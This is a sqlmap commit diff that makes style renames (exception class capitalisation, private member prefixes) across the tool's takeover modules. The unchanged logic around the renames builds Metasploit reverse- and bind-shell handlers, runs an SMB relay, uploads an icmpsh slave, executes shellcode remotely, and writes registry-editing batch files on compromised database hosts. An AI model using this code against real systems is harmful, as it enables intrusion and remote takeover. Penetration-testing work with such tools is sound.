Doing some more style updating (capitalization of exception classes; using _ is enough for private members - __ is used in Python specific methods)

This commit is contained in:
Miroslav Stampar
2012-12-06 14:14:19 +01:00
parent 003d21e962
commit 974407396e
102 changed files with 1115 additions and 1091 deletions

View File

@@ -15,7 +15,7 @@ from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.request import inject
from lib.takeover.udf import UDF
@@ -49,7 +49,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
raise SqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd, first=None, last=None):
retVal = None
@@ -65,7 +65,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
raise SqlmapUnsupportedFeatureException, errMsg
return safechardecode(retVal)
@@ -110,7 +110,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
raise SqlmapUnsupportedFeatureException, errMsg
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
infoMsg += "'x' or 'q' and press ENTER"
@@ -141,7 +141,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):
self.runCmd(command)
def __initRunAs(self):
def _initRunAs(self):
if not conf.dbmsCred:
return
@@ -172,7 +172,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False):
self.__initRunAs()
self._initRunAs()
if self.envInitialized:
return
@@ -201,6 +201,6 @@ class Abstraction(Web, UDF, Xp_cmdshell):
self.xpCmdshellInit()
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException(errMsg)
raise SqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True

View File

@@ -25,71 +25,71 @@ class ICMPsh:
This class defines methods to call icmpsh for plugins.
"""
def __initVars(self):
def _initVars(self):
self.lhostStr = None
self.rhostStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
def __selectRhost(self):
def _selectRhost(self):
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
return address
def __selectLhost(self):
def _selectLhost(self):
message = "what is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
return address
def __prepareIngredients(self, encode=True):
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
def _prepareIngredients(self, encode=True):
self.lhostStr = self._selectLhost()
self.rhostStr = self._selectRhost()
def __runIcmpshMaster(self):
def _runIcmpshMaster(self):
infoMsg = "running icmpsh master locally"
logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr)
def __runIcmpshSlaveRemote(self):
def _runIcmpshSlaveRemote(self):
infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg)
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr)
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
self.execCmd(cmd, silent=True)
def uploadIcmpshSlave(self, web=False):
self.__initVars()
self.__randStr = randomStr(lowercase=True)
self.__icmpslaveRemoteBase = "tmpi%s.exe" % self.__randStr
self._initVars()
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
if web:
self.__icmpslaveRemote = "%s/%s" % (self.webDirectory, self.__icmpslaveRemoteBase)
self._icmpslaveRemote = "%s/%s" % (self.webDirectory, self._icmpslaveRemoteBase)
else:
self.__icmpslaveRemote = "%s/%s" % (conf.tmpPath, self.__icmpslaveRemoteBase)
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote))
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote)
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web:
self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory)
self.webFileUpload(self.__icmpslave, self._icmpslaveRemote, self.webDirectory)
else:
self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary")
self.writeFile(self.__icmpslave, self._icmpslaveRemote, "binary")
def icmpPwn(self):
self.__prepareIngredients()
self.__runIcmpshSlaveRemote()
self.__runIcmpshMaster()
self._prepareIngredients()
self._runIcmpshSlaveRemote()
self._runIcmpshMaster()
debugMsg = "icmpsh master exited"
logger.debug(debugMsg)
time.sleep(1)
self.execCmd("taskkill /F /IM %s" % self.__icmpslaveRemoteBase, silent=True)
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
time.sleep(1)
self.delRemoteFile(self.__icmpslaveRemote)
self.delRemoteFile(self._icmpslaveRemote)

View File

@@ -30,8 +30,8 @@ from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapFilePathException
from lib.core.settings import IS_WIN
from lib.core.settings import UNICODE_ENCODING
from lib.core.subprocessng import blockingReadFromFD
@@ -45,7 +45,7 @@ class Metasploit:
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
def _initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
@@ -55,17 +55,17 @@ class Metasploit:
self.payloadConnStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
if IS_WIN:
_ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat"))
self.__msfCli = "%s & ruby %s" % (_, self.__msfCli)
self.__msfEncode = "ruby %s" % self.__msfEncode
self.__msfPayload = "%s & ruby %s" % (_, self.__msfPayload)
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfEncode = "ruby %s" % self._msfEncode
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
self.__msfPayloadsList = {
self._msfPayloadsList = {
"windows": {
1: ( "Meterpreter (default)", "windows/meterpreter" ),
2: ( "Shell", "windows/shell" ),
@@ -77,7 +77,7 @@ class Metasploit:
}
}
self.__msfConnectionsList = {
self._msfConnectionsList = {
"windows": {
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
@@ -91,7 +91,7 @@ class Metasploit:
}
}
self.__msfEncodersList = {
self._msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
@@ -109,19 +109,19 @@ class Metasploit:
}
}
self.__msfSMBPortsList = {
self._msfSMBPortsList = {
"windows": {
1: ( "139/TCP", "139" ),
2: ( "445/TCP (default)", "445" ),
}
}
self.__portData = {
self._portData = {
"bind": "remote port number",
"reverse": "local port number",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if Backend.isOs(OS.WINDOWS):
opSys = "windows"
else:
@@ -153,11 +153,11 @@ class Metasploit:
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
return self._skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
return self._skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
@@ -166,10 +166,10 @@ class Metasploit:
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def _selectSMBPort(self):
return self._skeletonSelection("SMB port", self._msfSMBPortsList)
def __selectEncoder(self, encode=True):
def _selectEncoder(self, encode=True):
# This is always the case except for --os-bof where the user can
# choose which encoder to use. When called from --os-pwn the encoder
# is always x86/alpha_mixed - used for sys_bineval() and
@@ -178,9 +178,9 @@ class Metasploit:
return encode
elif encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
return self._skeletonSelection("payload encoding", self._msfEncodersList)
def __selectPayload(self):
def _selectPayload(self):
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to "
@@ -188,11 +188,11 @@ class Metasploit:
infoMsg += "'getsystem' command or post modules"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
_payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
_payloadStr = self._skeletonSelection("payload", self._msfPayloadsList)
if __payloadStr == "windows/vncinject":
if _payloadStr == "windows/vncinject":
choose = False
if Backend.isDbms(DBMS.MYSQL):
@@ -228,12 +228,12 @@ class Metasploit:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
_payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
_payloadStr = "windows/shell"
break
@@ -252,7 +252,7 @@ class Metasploit:
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
if self.connectionStr.startswith("reverse_http") and __payloadStr != "windows/meterpreter":
if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter":
warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
warnMsg += "with the Meterpreter payload. Falling back to "
warnMsg += "reverse TCP"
@@ -260,14 +260,14 @@ class Metasploit:
self.connectionStr = "reverse_tcp"
return __payloadStr
return _payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
def _selectPort(self):
for connType, connStr in self._portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
def _selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
@@ -281,9 +281,9 @@ class Metasploit:
return None
else:
raise sqlmapDataException, "unexpected connection type"
raise SqlmapDataException, "unexpected connection type"
def __selectLhost(self):
def _selectLhost(self):
if self.connectionStr.startswith("reverse"):
message = "what is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
@@ -297,104 +297,104 @@ class Metasploit:
return None
else:
raise sqlmapDataException, "unexpected connection type"
raise SqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def _selectConnection(self):
return self._skeletonSelection("connection type", self._msfConnectionsList)
def __prepareIngredients(self, encode=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload()
self.encoderStr = self.__selectEncoder(encode)
def _prepareIngredients(self, encode=True):
self.connectionStr = self._selectConnection()
self.lhostStr = self._selectLhost()
self.rhostStr = self._selectRhost()
self.portStr = self._selectPort()
self.payloadStr = self._selectPayload()
self.encoderStr = self._selectEncoder(encode)
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
def _forgeMsfCliCmd(self, exitfunc="process"):
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
self._cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
raise SqlmapDataException, "unexpected connection type"
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=true"
self._cliCmd += " DisableCourtesyShell=true"
self.__cliCmd += " E"
self._cliCmd += " E"
def __forgeMsfCliCmdForSmbrelay(self):
self.__prepareIngredients(encode=False)
def _forgeMsfCliCmdForSmbrelay(self):
self._prepareIngredients(encode=False)
self.__cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=thread"
self.__cliCmd += " LPORT=%s" % self.portStr
self.__cliCmd += " SRVHOST=%s" % self.lhostStr
self.__cliCmd += " SRVPORT=%s" % self.__selectSMBPort()
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=thread"
self._cliCmd += " LPORT=%s" % self.portStr
self._cliCmd += " SRVHOST=%s" % self.lhostStr
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
self._cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
raise SqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
self._cliCmd += " E"
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
self._payloadCmd += " EXITFUNC=%s" % exitfunc
self._payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
self._payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
raise SqlmapDataException, "unexpected connection type"
if Backend.isOs(OS.LINUX) and conf.privEsc:
self.__payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
if extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
self._payloadCmd += " %s" % extra
else:
self.__payloadCmd += " X > \"%s\"" % outFile
self._payloadCmd += " X > \"%s\"" % outFile
def __runMsfCliSmbrelay(self):
self.__forgeMsfCliCmdForSmbrelay()
def _runMsfCliSmbrelay(self):
self._forgeMsfCliCmdForSmbrelay()
infoMsg = "running Metasploit Framework command line "
infoMsg += "interface locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
logger.debug("executing local command: %s" % self._cliCmd)
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
def _runMsfCli(self, exitfunc):
self._forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework command line "
infoMsg += "interface locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
logger.debug("executing local command: %s" % self._cliCmd)
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def __runMsfShellcodeRemote(self):
def _runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework shellcode "
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfShellcodeRemoteViaSexec(self):
def _runMsfShellcodeRemoteViaSexec(self):
infoMsg = "running Metasploit Framework shellcode remotely "
infoMsg += "via shellcodeexec, please wait.."
logger.info(infoMsg)
@@ -407,7 +407,7 @@ class Metasploit:
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
def _loadMetExtensions(self, proc, metSess):
if not Backend.isOs(OS.WINDOWS):
return
@@ -439,7 +439,7 @@ class Metasploit:
proc.stdin.write("list_tokens -u\n")
proc.stdin.write("getuid\n")
def __controlMsfCmd(self, proc, func):
def _controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
@@ -489,7 +489,7 @@ class Metasploit:
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
self._loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
@@ -500,15 +500,15 @@ class Metasploit:
infoMsg = "creating Metasploit Framework multi-stage shellcode "
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
self._randStr = randomStr(lowercase=True)
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
self.__initVars()
self.__prepareIngredients(encode=encode)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
self._initVars()
self._prepareIngredients(encode=encode)
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
logger.debug("executing local command: %s" % self._payloadCmd)
process = execute(self._payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
@@ -529,13 +529,13 @@ class Metasploit:
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "")
raise sqlmapFilePathException, errMsg
raise SqlmapFilePathException, errMsg
self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb")
self.shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
self._shellcodeFP = codecs.open(self._shellcodeFilePath, "rb")
self.shellcodeString = self._shellcodeFP.read()
self._shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
os.unlink(self._shellcodeFilePath)
def uploadShellcodeexec(self, web=False):
self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH
@@ -546,7 +546,7 @@ class Metasploit:
self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()
# TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName
#__basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
#__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
__basename = os.path.basename(self.shellcodeexecLocal)
if web:
@@ -566,18 +566,18 @@ class Metasploit:
def pwn(self, goUdf=False):
if goUdf:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
func = self._runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfShellcodeRemoteViaSexec
func = self._runMsfShellcodeRemoteViaSexec
self.__runMsfCli(exitfunc=exitfunc)
self._runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"):
func()
debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
logger.debug(debugMsg)
if not goUdf:
@@ -585,26 +585,26 @@ class Metasploit:
self.delRemoteFile(self.shellcodeexecRemote)
def smb(self):
self.__initVars()
self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)
self._initVars()
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
self.__runMsfCliSmbrelay()
self._runMsfCliSmbrelay()
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfCliProc, self.uncPathRequest)
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
logger.debug(debugMsg)
def bof(self):
self.__runMsfCli(exitfunc="seh")
self._runMsfCli(exitfunc="seh")
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)

View File

@@ -16,68 +16,68 @@ class Registry:
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey
self.__regValue = regValue
self.__regType = regType
self.__regData = regData
def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self._regKey = regKey
self._regValue = regValue
self._regType = regType
self._regData = regData
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr)
self._randStr = randomStr(lowercase=True)
self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)
if parse:
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
self.__batRead = (
self._batRead = (
"@ECHO OFF\r\n",
readParse
)
self.__batAdd = (
self._batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData)
)
self.__batDel = (
self._batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue)
)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
def _createLocalBatchFile(self):
self._batPathFp = open(self._batPathLocal, "w")
if self.__operation == "read":
lines = self.__batRead
lines = self._batRead
elif self.__operation == "add":
lines = self.__batAdd
lines = self._batAdd
elif self.__operation == "delete":
lines = self.__batDel
lines = self._batDel
for line in lines:
self.__batPathFp.write(line)
self._batPathFp.write(line)
self.__batPathFp.close()
self._batPathFp.close()
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
def _createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self._batPathRemote)
self.__createLocalBatchFile()
self.writeFile(self.__batPathLocal, self.__batPathRemote, "text")
self._createLocalBatchFile()
self.writeFile(self._batPathLocal, self._batPathRemote, "text")
os.unlink(self.__batPathLocal)
os.unlink(self._batPathLocal)
def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read"
self.__initVars(regKey, regValue, parse=parse)
self.__createRemoteBatchFile()
self._initVars(regKey, regValue, parse=parse)
self._createRemoteBatchFile()
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
data = self.evalCmd(self.__batPathRemote)
data = self.evalCmd(self._batPathRemote)
if data and not parse:
pattern = ' '
@@ -85,32 +85,32 @@ class Registry:
if index != -1:
data = data[index + len(pattern):]
self.delRemoteFile(self.__batPathRemote)
self.delRemoteFile(self._batPathRemote)
return data
def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add"
self.__initVars(regKey, regValue, regType, regData)
self.__createRemoteBatchFile()
self._initVars(regKey, regValue, regType, regData)
self._createRemoteBatchFile()
debugMsg = "adding registry key value '%s' " % self.__regValue
debugMsg += "to registry key '%s'" % self.__regKey
debugMsg = "adding registry key value '%s' " % self._regValue
debugMsg += "to registry key '%s'" % self._regKey
logger.debug(debugMsg)
self.execCmd(cmd=self.__batPathRemote)
self.delRemoteFile(self.__batPathRemote)
self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote)
def delRegKey(self, regKey, regValue):
self.__operation = "delete"
self.__initVars(regKey, regValue)
self.__createRemoteBatchFile()
self._initVars(regKey, regValue)
self._createRemoteBatchFile()
debugMsg = "deleting registry key value '%s' " % self.__regValue
debugMsg += "from registry key '%s'" % self.__regKey
debugMsg = "deleting registry key value '%s' " % self._regValue
debugMsg += "from registry key '%s'" % self._regKey
logger.debug(debugMsg)
self.execCmd(cmd=self.__batPathRemote)
self.delRemoteFile(self.__batPathRemote)
self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote)

View File

@@ -21,10 +21,10 @@ from lib.core.enums import EXPECTED
from lib.core.enums import OS
from lib.core.enums import PAYLOAD
from lib.core.common import unArrayizeValue
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import sqlmapUserQuitException
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapUserQuitException
from lib.core.unescaper import unescaper
from lib.request import inject
@@ -39,7 +39,7 @@ class UDF:
self.udfs = {}
self.udfToCreate = set()
def __askOverwriteUdf(self, udf):
def _askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
@@ -49,18 +49,18 @@ class UDF:
else:
return False
def __checkExistUdf(self, udf):
def _checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
exists = self._checkExistUdf(udf)
overwrite = True
if exists:
overwrite = self.__askOverwriteUdf(udf)
overwrite = self._askOverwriteUdf(udf)
if overwrite:
self.udfToCreate.add(udf)
@@ -126,15 +126,15 @@ class UDF:
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
raise SqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self):
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
raise SqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf=None, inpRet=None):
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
raise SqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
@@ -166,7 +166,7 @@ class UDF:
def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms()
raise sqlmapUnsupportedFeatureException(errMsg)
raise SqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
@@ -193,21 +193,21 @@ class UDF:
if not os.path.exists(self.udfLocalFile):
